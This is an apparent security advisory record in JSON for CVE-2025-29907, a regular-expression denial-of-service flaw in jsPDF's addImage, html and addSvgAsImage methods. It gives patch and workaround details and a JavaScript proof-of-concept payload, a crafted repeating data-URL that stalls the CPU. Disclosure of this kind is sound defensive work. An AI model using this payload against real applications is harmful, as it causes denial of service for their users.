{"id":"CVE-2025-29907","aliases":["GHSA-w532-jxjh-hjhj"],"url":"https://o3.security/vulnerability/CVE-2025-29907","summary":"jsPDF Bypass Regular Expression Denial of Service (ReDoS)","details":"### Impact\nUser control of the first argument of the `addImage` method results in CPU utilization and denial of service.\n\nIf given the possibility to pass unsanitized image urls to the `addImage` method, a user can provide a harmful data-url that results in high CPU utilization and denial of service.\n\nOther affected methods are: `html`, `addSvgAsImage`.\n\nExample payload:\n```js\nimport { jsPDF } from \"jpsdf\" \n\nconst doc = new jsPDF();\nconst payload = 'data:/charset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=s\\x00base64,undefined';\n\nconst startTime = performance.now()\n\ntry {\n doc.addImage(payload, \"PNG\", 10, 40, 180, 180, undefined, \"SLOW\");\n} catch (err) {\n  const endTime = performance.now()\n  console.log(`Call to doc.addImage took ${endTime - startTime} milliseconds`)\n}\n\ndoc.save(\"a4.pdf\");\n```\n\n### Patches\nThe vulnerability was fixed in jsPDF 3.0.1. Upgrade to jspdf@>=3.0.1\n\n### Workarounds\nSanitize image urls before passing it to the `addImage` method or one of the other affected methods.\n\n### Credits\nResearcher: Aleksey Solovev (Positive Technologies)","published":"2025-03-18T18:40:57.504Z","modified":"2026-10-28T02:30:29.712843282Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"jspdf","fixedVersion":"3.0.1"}],"fix":{"url":"https://github.com/parallax/jsPDF/commit/b167c43c27c466eb914b927885b06073708338df","label":"parallax/jsPDF@b167c43"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/29xxx/CVE-2025-29907.json"},{"type":"ADVISORY","url":"https://github.com/parallax/jsPDF/security/advisories/GHSA-w532-jxjh-hjhj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-29907"},{"type":"FIX","url":"https://github.com/parallax/jsPDF/commit/b167c43c27c466eb914b927885b06073708338df"},{"type":"PACKAGE","url":"https://github.com/parallax/jsPDF"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:29.712843282Z"}}